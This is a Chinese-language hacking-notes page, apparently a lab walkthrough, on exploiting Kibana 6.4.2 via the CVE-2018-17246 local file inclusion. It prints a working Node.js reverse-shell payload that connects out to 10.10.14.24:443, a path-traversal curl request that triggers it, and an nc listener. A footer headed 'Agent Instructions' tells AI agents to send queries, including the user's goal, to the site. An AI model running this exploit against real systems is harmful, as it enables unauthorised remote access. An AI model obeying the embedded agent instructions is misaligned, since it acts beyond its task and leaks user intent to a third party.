> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/kibana-cms-exploitation.md).
# Kibana
Kibana 利用笔记，涵盖 CVE-2018-17246 LFI、通过 api/status 发现版本、Node.js payload 执行和反向 Shell 投递。
### 利用 Kibana（CVE-2018-17246）
**Kibana 版本检查**
访问 `http://localhost:5601/api/status` 显示 Kibana 版本 **6.4.2**。此版本易受 **本地文件包含（LFI）** 通过 **CVE-2018-17246**.
{% embed url="" %}
**漏洞利用**
要利用该漏洞，创建一个打开反向 Shell 的 JavaScript 文件。在目标上，创建 `/tmp/rev.js` 并包含以下代码：
function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(443, "10.10.14.24", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // 防止 Node.js 应用程序崩溃
})();
该脚本会回连到攻击者机器上的端口 **443** 并打开一个 shell。
**将流重定向到文件**
然后将流重定向到 `/dev/shm/rev.js` ，使用以下命令：
```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```
**监听反向 Shell**
在攻击者机器上，启动一个监听器，监听端口 **443** 以捕获反向 Shell：
```bash
nc -nlvp 443
```
一旦连接成功，你就会在目标系统上获得一个 shell，并可以继续进行权限提升。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/cms/kibana-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)